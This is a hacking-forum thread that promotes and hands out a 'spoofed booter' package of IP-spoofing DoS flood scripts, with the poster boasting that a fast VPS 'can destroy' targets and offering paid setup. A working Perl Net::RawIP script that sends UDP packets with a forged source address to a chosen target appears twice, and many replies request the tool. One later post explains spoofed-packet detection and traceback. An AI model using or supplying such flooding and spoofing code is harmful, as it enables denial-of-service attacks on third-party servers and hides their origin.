
Forum:Hack Forums 

 Thread: [Tutorial][Download] How to use IP Spoofing on your VPS [Spoofed Booter!]
 

 +Xenon - November 30, 2011, 6:38 pm 
EDIT: Orgy has kindly informed (and confirmed) me that only certain hosts allow IP spoofing! Please
check with your host BEFORE purchasing any hosting with them!
 
 Alright HF, this is it. I have compiled a few scripts that will allow you to run IP Spoofing on your
virtual server. I was seriously thinking about selling this, since this includes an INCREDIBLY detailed
tutorial on how to install RawIP (software essential for spoofing your IP), but I thought "what the hell"
and decided to give it away.
 
 All of these scripts (except those that do the actual spoofing) are made by me, please for the love of
God give credits where due.
 
 Regular Members: Click here to download.
 Upgraded Members: PM me to get this. :)
 ^^ I do this so little kids won't leech these scripts ^^
 
 All this is is a zip folder with 2 text files in it. They are instructional files. It is up to YOU to purchase
your VPS/Dedicated server and download/install the files (the text files are tutorials, don't worry).
 
 Screenshot of the script:
 
 
 
 My test VPS can't take shit down because it is on a crap Santrex server :/ But with 1gbps-2gbps
VPS, you can destroy :)
 
 If you absolutely cannot seem to get this to work, I will do a full setup for you for $10.

ItsFluffy - November 30, 2011, 11:43 pm 
can u post a quick and easy definition of what the spoofing does/if for?
 sorry for being a nub question but im interested to know is all also, the link for regular members is a
404 error now

Sutton2k9 - December 1, 2011, 12:16 am 
Pming you now i would like a look at this =)

L3xu$ - December 1, 2011, 12:17 am 
im pming you right now i want to test it :D

Bawss - December 1, 2011, 4:36 am 
pming you now for this thanks for this.

Uncle Ruckus - December 1, 2011, 5:52 am 
Not Found
 
 The requested URL /0m79c2 was not found on this server.

https://hackforums.net
https://hackforums.net/showthread.php?tid=1969807
http://adf.ly/3yUEI


 
 Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to
handle the request.

Swish - December 1, 2011, 8:54 am 
 (Dec 1, 2011 06:52 AM)Kyle™ Wrote: [CITE] Not Found
 
 The requested URL /0m79c2 was not found on this server.
 
 Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to
handle the request.I hope he fix the error.
 
 This seems to be a very nice script. But I thought that the Internet provider was needed to enable IP
Spoofing, otherwise it wouldn´t be possible to do a IP Spoof? Or am I wrong?
 
 

+Xenon - December 1, 2011, 12:21 pm 
I have updated the DL link, you may now download.

?Mystical - December 1, 2011, 12:50 pm 
I would love to get this, looks great.

+Xenon - December 1, 2011, 12:55 pm 
This rule applies to upgraded members too:
 
 If you PM me asking for a direct DL link, I have the right not to send it to you... Just because you're
upgraded doesn't necessarily mean anything to me, just that you are more prone to NOT leeching
off this and modifying it and calling it "your own"... Normal members have to download through the
alternate link because, well, you maybe prone to leeching... However, I know some people don't
have money to upgrade and therefore cannot.
 
 If you are a normal member, and want to PM me asking for the source, do so wisely. I will only turn
you down once, so don't expect to come asking for it again.
 
 Also, if anyone is caught selling this I will flip a shit on them and their sales thread. I was going to
sell this, but I am not now, therefore you shouldn't have the right to sell a FREE and PUBLIC script.

Lith - December 1, 2011, 2:37 pm 
I'll be PMing you for this. Looks really interesting, want to see how it goes.

Brutal Chaos - December 1, 2011, 2:46 pm 
This looks great, PMing you now sir. :D

unflappedacorn - December 2, 2011, 2:49 pm 
I've actually used this before, it works well in theory, but only a handful out of THOUSANDS of hosts
will actually allow spoofing, rendering this ABSOLUTELY USELESS unless you find one that allows
spoofing.   (Nov 30, 2011 07:38 PM)?Xeon ? Wrote: [CITE] Because it is on a crap Santrex server :/
But with 1gbps-2gbps VPS, you can destroy :)
 False again. Like I said, only a handful out of thousands of hosts will allow spoofing. It is not your
santrex vps, it is the same for all VPS. This script will not send out any data.
 
 If you don't believe me, go to your vmpanel, look at your bandwidth usage, run the attack, and your

https://hackforums.net/showthread.php?pid=17818628#pid17818628
https://hackforums.net/showthread.php?pid=17809024#pid17809024


bandwidth usage will still be the same. Why? Because 99.9% of hosts don't let you spoof. 

+Xenon - December 2, 2011, 3:04 pm 
 (Dec 2, 2011 03:49 PM)unflappedacorn Wrote: [CITE] I've actually used this before, it works well in
theory, but only a handful out of THOUSANDS of hosts will actually allow spoofing, rendering this
ABSOLUTELY USELESS unless you find one that allows spoofing.  
 False again. Like I said, only a handful out of thousands of hosts will allow spoofing. It is not your
santrex vps, it is the same for all VPS. This script will not send out any data.
 
 If you don't believe me, go to your vmpanel, look at your bandwidth usage, run the attack, and your
bandwidth usage will still be the same. Why? Because 99.9% of hosts don't let you spoof.
 I can't tell if you are trolling, or just stupid. This worked fine on my 2gbps VPS... I am not denying
the power of the script, just saying that it does not work as good on a santrex 100mbps VPS... I
have tested this before, on my own website, and it works just fine.
 
 You have not used this, I have not sent you my scripts.

unflappedacorn - December 2, 2011, 3:09 pm 
 (Dec 2, 2011 04:04 PM)?Xeon ? Wrote: [CITE] I can't tell if you are trolling, or just stupid. This
worked fine on my 2gbps VPS... I am not denying the power of the script, just saying that it does not
work as good on a santrex 100mbps VPS... I have tested this before, on my own website, and it
works just fine.
 
 You have not used this, I have not sent you my scripts.
 Your script is easily found off of google from simply searching "Spoofed DoS Script"
 
 I have downloaded your script from sharecash. And I can verify it is the exact same script I tested
weeks ago here:
 
 https://hackforums.net/showthread.php?tid=1943555
 
 Orgy and fanatic can confirm that these scripts don't work on 99.99% of VPS.
 
 /thread

+Xenon - December 2, 2011, 3:11 pm 
 (Dec 2, 2011 04:09 PM)unflappedacorn Wrote: [CITE] Your script is easily found off of google from
simply searching "Spoofed DoS Script"
 
 I have downloaded your script from spam. And I can verify it is the exact same script I tested weeks
ago here:
 
 https://hackforums.net/showthread.php?tid=1943555
 
 Orgy and fanatic can confirm that these scripts don't work on 99.99% of VPS.
 
 /thread
 And that is why I am not selling it, I did not code the IP Spoofing, in fact it is public.
 
 If you are unable to read, you would see this is more about SETTING UP the scripts versus actually
having them. RawIP is very hard to set up for some people.
 
 Get out if you cannot post something constructive.

https://hackforums.net/showthread.php?pid=17853666#pid17853666
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unflappedacorn - December 2, 2011, 3:13 pm 
 (Dec 2, 2011 04:11 PM)?Xeon ? Wrote: [CITE] And that is why I am not selling it, I did not code the
IP Spoofing, in fact it is public.
 
 If you are unable to read, you would see this is more about SETTING UP the scripts versus actually
having them. RawIP is very hard to set up for some people.
 
 Get out if you cannot post something constructive.
 So what is the point of all this if it's not even going to work? Why setup the scripts and RawIP if it's
not even going to work for 99.99% of the people?

+Xenon - December 2, 2011, 3:15 pm 
 (Dec 2, 2011 04:13 PM)unflappedacorn Wrote: [CITE] So what is the point of all this if it's not even
going to work? Why setup the scripts and RawIP if it's not even going to work for 99.99% of the
people?
 Do not reply to my posts if you are not going to read. It will work for ALL people (I have so far used
4 different VPS companies, all quite popular, and it has worked) if it set up right.
 
 What is the point of you coming in here and saying it isn't going to work just because you cannot set
it up? Not my fault you are incompetent.

unflappedacorn - December 2, 2011, 3:17 pm 
 (Dec 2, 2011 04:15 PM)?Xeon ? Wrote: [CITE] Do not reply to my posts if you are not going to read.
It will work for ALL people (I have so far used 4 different VPS companies, all quite popular, and it
has worked) if it set up right.
 
 What is the point of you coming in here and saying it isn't going to work just because you cannot set
it up? Not my fault you are incompetent.
 This is too funny to be true. I refuse to believe that out of my 5 VPS's, none of them worked, and yet
it worked on all four of yours.
 
 So why do people offer Fanatic $1000 for his spoofing method for RebelSecurity when they can just
do this for free?
 
 LOL... just LOL

+Xenon - December 2, 2011, 3:20 pm 
 (Dec 2, 2011 04:17 PM)unflappedacorn Wrote: [CITE] This is too funny to be true. I refuse to believe
that out of my 5 VPS's, none of them worked, and yet it worked on all four of yours.
 
 So why do people offer Fanatic $1000 for his spoofing method for RebelSecurity when they can just
do this for free?
 
 LOL... just LOL
 People pay because they cannot set up their own shit. Are you unfamiliar with the human nature?
They weren't just paying for spoofing on RebelSecurity, they were paying for the project. Plus,
Fanatic has stated these are not the spoofing methods he uses (he said so in a junked thread by
DaL33t).
 
 Get. The. Fuck. Out. Don't expect me to respond to your next irrelevant post.

unflappedacorn - December 2, 2011, 3:22 pm 
 (Dec 2, 2011 04:20 PM)?Xeon ? Wrote: [CITE] People pay because they cannot set up their own
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shit. Are you unfamiliar with the human nature? They weren't just paying for spoofing on
RebelSecurity, they were paying for the project. Plus, Fanatic has stated these are not the spoofing
methods he uses (he said so in a junked thread by DaL33t).
 
 Get. The. Fuck. Out. Don't expect me to respond to your next irrelevant post.
 Um no. They weren't paying for the project, they were paying for the methods, like how Fanatic is
selling his METHOD for $300 a month:
 
 https://hackforums.net/showthread.php?tid=1934136
 
 Btw, if anyone can show me this works via teamviewer, I will pay them $20
paypal/alertpay/moneybookers/liberty reserve of their CHOICE.
 
 I'm out.

+Xenon - December 2, 2011, 3:24 pm 
 (Dec 2, 2011 04:22 PM)unflappedacorn Wrote: [CITE] Um no. They weren't paying for the project,
they were paying for the methods, like how Fanatic is selling his METHOD for $300 a month:
 
 https://hackforums.net/showthread.php?tid=1934136
 
 Btw, if anyone can show me this works via teamviewer, I will pay them $20
paypal/alertpay/moneybookers/liberty reserve of their CHOICE.
 
 I'm out.
 This:
 
 Quote:Plus, Fanatic has stated these are not the spoofing methods he uses (he said so in a junked
thread by DaL33t). 

Orgy - December 2, 2011, 7:06 pm 
I hope no one believes this will work on just any host. Most ISP's disallow IP spoofing. In fact,
Santrex is one of them. Don't believe me? Ask them.
 
 And it's not just something you can just run and hope they don't notice. The ISP catches the packet
on the way out and then returns the IP header to the IP it should be. Automatically.
 
 Still don't believe me?
 
 Here's a script I modified to test if a server could IP spoof.
 
 PHP Code 
 <?php 
#!/usr/bin/perl
# Chili - The spoofing UDP flooder
# Use only for stress testing network devices.
# - Redz
# Copyright 2011-9-1 8:00am
# Edited by Orgy for private use to send a single packet.

# Need raw sockets for spoofing purposes
use Net::RawIP;

https://hackforums.net/showthread.php?tid=1934136
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# Here we parse command line arguments
($src, $dest, $size, $port) = split(/\s+/, "@ARGV");
$opt = @ARGV;

# Check that we have all the arguements.
if($opt < 4) {
  print "Usage: $0 (srcip) (ip) (size) (port)\n";
  print "If port is \'0\', random ports will be hit.\n";
  exit(0);
}

# Packets have to be below 736 otherwise the packets will become fragmented 
# therefore less impact
if($size > 736) {
  print "Packets must be below 736b.\n";
  exit(0);
}

# SO many times kids write crap that does like, "$size = <int>" ... "data => $size".  You actually have
 
# to supply data, not just indicate what the size should be.  So, that's what this does.. it pushes "A"'s 
into the DATA 
# array, so the array is actually the size specified.  
for(1..$size){
  push @{$DATA},"A"
}

# The Beautiful Display
print "+--+\n";
print "Destination: $dest\n";
print "Source: $src\n";
# Is the destination port random, or targeted?
if($port eq "0") {
  print "Port: Random\n";
} else {
  print "Port: $port\n";
}
print "Packet size: $size\n";
print "+--+\n";

# Heres Our Spoof, Throwing Ip's at random. Don't be worried of a few invalids.
$saddr = join(".", map int rand 256, 1 .. 4);
# Choose a random source port
$rsport = int rand(65535);
if($port eq "0") {
$rport = int rand(65535);
} else {
$rport = $port;
}
# Open raw socket
$packet = Net::RawIP->new({  
        ip => {
          saddr => $src,



          daddr => $dest,
          },
        udp => {
          source => $rsport,
          dest => $rport,   
          data => "@{$DATA}",
          },
        });
# Attack and repeat. :D
$packet->send; 

 It's in Perl.
 
 It sends 1 packet to the target IP from a source IP of your choosing.
 
 Set the IP to 123.123.123.123 and send a packet to your computer/server. Have wireshark open
and sniffing packets.
 
 Use this wireshark filter: ip.src == 123.123.123.123
 
 If you don't see a packet come in on that filter, you'll know I'm right.
 
 Good day. ?

+Xenon - December 2, 2011, 7:32 pm 
 (Dec 2, 2011 08:06 PM)Orgy Wrote: [CITE] I hope no one believes this will work on just any host.
Most ISP's disallow IP spoofing. In fact, Santrex is one of them. Don't believe me? Ask them.
 
 And it's not just something you can just run and hope they don't notice. The ISP catches the packet
on the way out and then returns the IP header to the IP it should be. Automatically.
 
 Still don't believe me?
 
 Here's a script I modified to test if a server could IP spoof.
 
 PHP Code 
 <?php 
#!/usr/bin/perl
# Chili - The spoofing UDP flooder
# Use only for stress testing network devices.
# - Redz
# Copyright 2011-9-1 8:00am
# Edited by Orgy for private use to send a single packet.

# Need raw sockets for spoofing purposes
use Net::RawIP;

# Here we parse command line arguments
($src, $dest, $size, $port) = split(/\s+/, "@ARGV");
$opt = @ARGV;

# Check that we have all the arguements.
if($opt < 4) {

https://hackforums.net/showthread.php?pid=17859318#pid17859318


  print "Usage: $0 (srcip) (ip) (size) (port)\n";
  print "If port is \'0\', random ports will be hit.\n";
  exit(0);
}

# Packets have to be below 736 otherwise the packets will become fragmented 
# therefore less impact
if($size > 736) {
  print "Packets must be below 736b.\n";
  exit(0);
}

# SO many times kids write crap that does like, "$size = <int>" ... "data => $size".  You actually have
 
# to supply data, not just indicate what the size should be.  So, that's what this does.. it pushes "A"'s 
into the DATA 
# array, so the array is actually the size specified.  
for(1..$size){
  push @{$DATA},"A"
}

# The Beautiful Display
print "+--+\n";
print "Destination: $dest\n";
print "Source: $src\n";
# Is the destination port random, or targeted?
if($port eq "0") {
  print "Port: Random\n";
} else {
  print "Port: $port\n";
}
print "Packet size: $size\n";
print "+--+\n";

# Heres Our Spoof, Throwing Ip's at random. Don't be worried of a few invalids.
$saddr = join(".", map int rand 256, 1 .. 4);
# Choose a random source port
$rsport = int rand(65535);
if($port eq "0") {
$rport = int rand(65535);
} else {
$rport = $port;
}
# Open raw socket
$packet = Net::RawIP->new({  
        ip => {
          saddr => $src,
          daddr => $dest,
          },
        udp => {
          source => $rsport,
          dest => $rport,   
          data => "@{$DATA}",



          },
        });
# Attack and repeat. :D
$packet->send; 

 It's in Perl.
 
 It sends 1 packet to the target IP from a source IP of your choosing.
 
 Set the IP to 123.123.123.123 and send a packet to your computer/server. Have wireshark open
and sniffing packets.
 
 Use this wireshark filter: ip.src == 123.123.123.123
 
 If you don't see a packet come in on that filter, you'll know I'm right.
 
 Good day. ?
 Either way, I am removing the barrier for those who don't know how to set up RawIP. Honestly, that
is the most challenging part other than finding the right host. ?

Orgy - December 2, 2011, 7:35 pm 
Lol seriously? cpan> install Net::RawIP
 
 so fucking difficult

+Xenon - December 2, 2011, 7:38 pm 
 (Dec 2, 2011 08:35 PM)Orgy Wrote: [CITE] Lol seriously? cpan> install Net::RawIP
 
 so fucking difficult
 Explain why many people on this forum have no idea how to install it? I am sorry for providing the
community with a useful tutorial, at least I tried.
 
 And seriously, I am giving this away for free, and I even said I didn't make the spoofing scripts.
What exactly is wrong with this thread???

Orgy - December 2, 2011, 7:41 pm 
 (Dec 2, 2011 08:38 PM)?Xeon ? Wrote: [CITE] Explain why many people on this forum have no idea
how to install it? I am sorry for providing the community with a useful tutorial, at least I tried.
 
 And seriously, I am giving this away for free, and I even said I didn't make the spoofing scripts.
What exactly is wrong with this thread???
 Well for example, the fact that you're using santrex VPS blaming the upload speed for the fact it
can't take shit down using a spoofed ip script.
 
 You yourself don't even know shit about spoofing IPs.
 
 And to answer your first question, because they're idiots.
 
 #cpan
 #install Net::RawIP
 
 that's all it takes to install RawIP.
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 You tell me why they can't figure that out.

+Xenon - December 2, 2011, 7:46 pm 
 (Dec 2, 2011 08:41 PM)Orgy Wrote: [CITE] Well for example, the fact that you're using santrex VPS
blaming the upload speed for the fact it can't take shit down using a spoofed ip script.
 
 You yourself don't even know shit about spoofing IPs.
 
 And to answer your first question, because they're idiots.
 
 #cpan
 #install Net::RawIP
 
 that's all it takes to install RawIP.
 
 You tell me why they can't figure that out.
 I have a normal UDP script on there too, not using RawIP, and it doesn't take anything down either.
 
 Never said I knew anything about IP Spoofing, thanks for stating the obvious, I just compiled these
scripts into a useful .tgz folder and made a very lengthly RawIP tutorial (installs on the most
common OS's) and then decided to give it all away for free.
 
 I agree, some people are dumb, and that is why this is here. I myself have tried to install RawIP with
cpan, and it hasn't worked *sometimes*. I am an avid user of "google" (lol) and spent a long time
looking for a solid method to install Net::RawIP. After finding the method I am using now, I put a
complete tutorial together and put the useful flooding scripts into a nice GUI and then put it up for
download.
 
 Do you still have problems with this thread??

Orgy - December 2, 2011, 7:50 pm 
 (Dec 2, 2011 08:46 PM)?Xeon ? Wrote: [CITE] I have a normal UDP script on there too, not using
RawIP, and it doesn't take anything down either.
 
 Never said I knew anything about IP Spoofing, thanks for stating the obvious, I just compiled these
scripts into a useful .tgz folder and made a very lengthly RawIP tutorial (installs on the most
common OS's) and then decided to give it all away for free.
 
 I agree, some people are dumb, and that is why this is here. I myself have tried to install RawIP with
cpan, and it hasn't worked *sometimes*. I am an avid user of "google" (lol) and spent a long time
looking for a solid method to install Net::RawIP. After finding the method I am using now, I put a
complete tutorial together and put the useful flooding scripts into a nice GUI and then put it up for
download.
 
 Do you still have problems with this thread??
 Did you forget to install cpan before using it? I can't think of any reason it wouldn't work to install
Net::RawIP

+Xenon - December 2, 2011, 7:51 pm 
 (Dec 2, 2011 08:50 PM)Orgy Wrote: [CITE] Did you forget to install cpan before using it? I can't think
of any reason it wouldn't work to install Net::RawIP
 Yeah I may have :/ Well either way this tutorial doesn't need cpan installed (although that would
probably be easier), and maybe nubs can learn a little bit while installing this :P
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WicKd - December 2, 2011, 7:52 pm 
PMing you right now :) Thanks in advanced

t0mb.exe - December 3, 2011, 6:06 am 
Would love to get this :D:D , looks cool

iTzL1GhTs0uT - December 3, 2011, 10:49 am 
I PM'd you :D Hope you can get me the tutorial :)

C?a?r?bon - December 20, 2011, 9:56 pm 
pming you know, thank you for doing this!

IRC - December 23, 2011, 9:49 am 
I would like this. I will send you a PM right now ;)

-Matatan- - December 23, 2011, 11:58 am 
I would like to check this out, will send you a pm thank you in advanced.

Venociide - December 24, 2011, 3:24 pm 
Code " cpan -i [####] " is Default Install Command
 Skids I Swear Man!
 
 
 /"*||"*/
 \*"\/"*/
 OO  OO 
 0o || o0
 ^  / \ ^    Gr33tzz Fr0m th3 sk1ddi3 st1cKMaN

Jumong - December 25, 2011, 1:48 pm 
Seems like a nice tutorial and tool, I guess I'll give it a try later on.

Appliance Warehouse - December 25, 2011, 10:53 pm 
PMd you about this. Waiting for a response
 :p

Venociide - December 30, 2011, 10:38 pm 
sorry man im an idiot and i know it!!!!

FaberCastell - December 31, 2011, 10:16 am 
do i have to do the survey?
 or is there any else way

FaberCastell - December 31, 2011, 6:48 pm 
Ok since i just got l33t, could i get this please? Thanks in advance!

toastpaint - March 4, 2012, 8:56 pm 
Any ideas if there are any hosts that support this anymore?
 
 Cheers

Pancake111 - March 5, 2012, 12:58 pm 
Pmed You Xeon.



 
 Thanks in Advance.
 ?????????????????????????????????
 

dragon2000 - March 10, 2012, 5:23 am 
PMing you right now :) Thanks in advanced 

objac - March 14, 2012, 12:07 am 
u can upload this in another mirror i hate sharecash please there are other ones

aKinGh - March 14, 2012, 12:53 am 
Pming you now i would like a look at this =)[/align]

Swish - March 14, 2012, 8:19 am 
Quote:My test VPS can't take shit down because it is on a crap Santrex server :/ But with
1gbps-2gbps VPS, you can destroy :) But did the IP Spoofing part work on your Santrex server?

Fatality` - March 18, 2012, 9:37 am 
 (Dec 2, 2011 03:49 PM)unflappedacorn Wrote: [CITE] I've actually used this before, it works well in
theory, but only a handful out of THOUSANDS of hosts will actually allow spoofing, rendering this
ABSOLUTELY USELESS unless you find one that allows spoofing.  
 False again. Like I said, only a handful out of thousands of hosts will allow spoofing. It is not your
santrex vps, it is the same for all VPS. This script will not send out any data.
 
 If you don't believe me, go to your vmpanel, look at your bandwidth usage, run the attack, and your
bandwidth usage will still be the same. Why? Because 99.9% of hosts don't let you spoof.
 Guys, be weary about downloading some spoofing script for your vpses!
 Almost 100% of vps hosts use BGP4 networks with ingress filtering, meaning your spoof will not
work.
 
 Additionally, the OP and many others have "borrowed" my viking payload and stated they added
"TORLORIS" this doesn't exist but even if it did,
 how fast is a website load using tor? SLOW AS BALLS.
 So pushing 1GBPS worth of vps through tor bandwidth is impossible. Tor will throttle you.
 
 Just want people to be careful when using these kinds of scripts because they really dont work.
 Even the ones that do, Its just a bit time consuming to track down where the attack really originated
from, let me explain :)
 
 Spoofed Packet Detection:
 
 Detection of a spoofed packet can start as early as at Layer 2. Switches with the IP Source Guard
feature match the MAC address of the host with a Dynamic Host Configuration Protocol
(DHCP)-assigned dynamic or administratively assigned static IP address. Packets that do not have
the correct IP source address for that particular MAC address are dropped, thereby limiting the
ability of hosts connected to such a switch to send a packet with their neighbor's address. The IP
Source Guard feature works very well for interfaces with a single IP address, but one interface can
be assigned multiple IP addresses, and that may cause problems. The same problems can occur
with Network Address Translation (NAT), where hosts might get different IP addresses several
times. Routers work at Layer 3 in networks, and they know which interface a network is connected
to and what network addresses can be expected to come from that network. If the outgoing packet
from an interface does not have the network address of that interface, then the packet is spoofed
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and the router can stop that packet at that point; however, if the attacker is spoofing an IP address
of a host on the same network (most likely in the attacks where they will be sniffing the replies), then
this technique is not really helpful. The same logic can be used for an incoming packet; if a packet
destined for an interface has a source address of the same network as the interface, then it is a
spoofed packet. Routers can detect spoofed packets only when the packets pass through them, and
if the target and attacker are both on the same subnet then this technique does not work.
 
 Tracing Spoofed IP Packets:
 
 IP traceback technology plays an important role in discovering the source of spoofed packets.
Hop-by-hop traceback and logging of suspicious packets in routers are the two main methods for
tracing the spoofed IP packets back to their source.
 
 When a node detects that it is a victim of flood attack, it can inform the Internet Service Provider
(ISP). In flood attacks the ISP can determine the router that is sending this stream to the victim, and
then it can determine the next router, and so on. It reaches either to the source of the flood attack or
the end of its administrative domain; for this case it can ask the ISP for the next domain to do the
same thing. This technique is useful only if the flood is ongoing.
 
 As mentioned earlier, a router has an idea of the IP addresses that should be arriving at its
interfaces. If it sees any packet that does not seem to belong to the address range for its interface, it
can log the packet as suspicious. Appropriately timed broadcasts among different domains to detect
spoofed packets can help administrators of different networks trace spoofed IP packets back to their
source. 
 

ososossy - April 29, 2012, 1:57 pm 
unable to complete survey :( what to do ?

Swish - April 29, 2012, 3:14 pm 
Fatality`, that was very interesting reading! Thanks for writing it.
  (Apr 29, 2012 01:57 PM)ososossy Wrote: [CITE] unable to complete survey :( what to do ?Try to do
it again and hopefully it will work.

nrd - April 29, 2012, 5:05 pm 
I tried to send a pm but it says your private message box is full, so could you send me a pm with the
download link when you can and thanks in advance

Swish - April 30, 2012, 5:23 pm 
 (Apr 29, 2012 05:05 PM)nrd Wrote: [CITE] I tried to send a pm but it says your private message box
is full, so could you send me a pm with the download link when you can and thanks in advanceI did
notice the same,  could you send me the download link too?
 
 Thanks

MaphystoBG - May 23, 2012, 4:40 pm 
Could you send me the tool on pm please?

wawa - May 29, 2012, 2:51 am 
I want this pm you now, big thanks for this :)

Feminist - October 14, 2012, 7:24 pm 
Can I have this please? Thanks in advance
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SANTERMY - October 21, 2012, 8:47 pm 
This looks great, PMing you now sir. :D

podencox - October 22, 2012, 5:39 am 
I would love to get this, looks great.

loncho21 - October 24, 2012, 6:00 am 
pming you now for this thanks for this.

leevan01 - October 27, 2012, 1:49 am 
Looks nicee im thinkingg aboutt gettingggg

w00ds - February 24, 2013, 9:37 am 
would greatly like to get this TUT
 
 thanks!

Monkey² - March 8, 2013, 5:29 pm 
I would like to have 1 too,
 
 Thanks

Xian - March 13, 2013, 12:57 pm 
Yeah this is pretty awesome thanks for the share.

Bescht - December 5, 2016, 12:08 pm 
 (Dec 5, 2016 12:52 PM)KaviModz Wrote: [CITE] 404 error? that comes up... wat 2 dodat pump
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